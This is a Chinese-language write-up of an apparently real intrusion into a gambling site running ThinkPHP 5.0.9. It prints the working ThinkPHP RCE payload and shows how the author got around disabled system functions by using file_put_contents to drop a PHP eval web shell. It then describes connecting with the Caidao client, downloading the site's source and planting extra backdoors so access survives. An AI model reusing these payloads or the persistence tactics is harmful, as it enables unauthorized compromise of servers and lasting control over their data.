简单的BC站点getshell
0x01 确定目标
主站:
旁站:
0x02 漏洞利用
通过信息收集发现是个tp v5.0.9,此版本存在tp-rce漏洞。
直接通过payload进行测试,
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
查找payload,直接打:
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
发现是php 5.4.45版本的,
直接尝试getshell:
发现system被禁用,尝试其他系统命令的也一样。
查看phpinfo中desable_functions禁用了那些函数。
想办法怎么绕过进行写马(此处卡了我半天)
最后通过一位渗透小伙伴,想出下面的可以利用file_put_contents直接写shell,想了半天,忘了用其他函数进行直接写马就可以了,并不需要非得利用system命令进行写马,还是底层知识薄弱啊。再次感谢小伙伴!
0x03 getshell
构造payload:
_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')
写入成功,利用菜刀连接。
成功连接。
查看权限:
发现启动了远程安全模式。
想要绕过,发现很多函数被禁用,占未成功。
下载源码:
多部署一些后门,防止被删。
0x04 总结
1.打开BC网站,通过底部版本信息,发现该站点框架是tp v5.0.9,存在RCE漏洞
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
2.发现是php 5.4.45版本的,直接尝试执行命令,发现system函数以及执行系统命令的函数也被禁用。
Post:_method=__construct&filter[]=assert&method=get&get[]=whomai
3.虽然禁用系统命令函数,可利用file_put_contents直接写shell绕过
4.获得getshell
构造payload:
_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')
5.写入成功,利用菜刀连接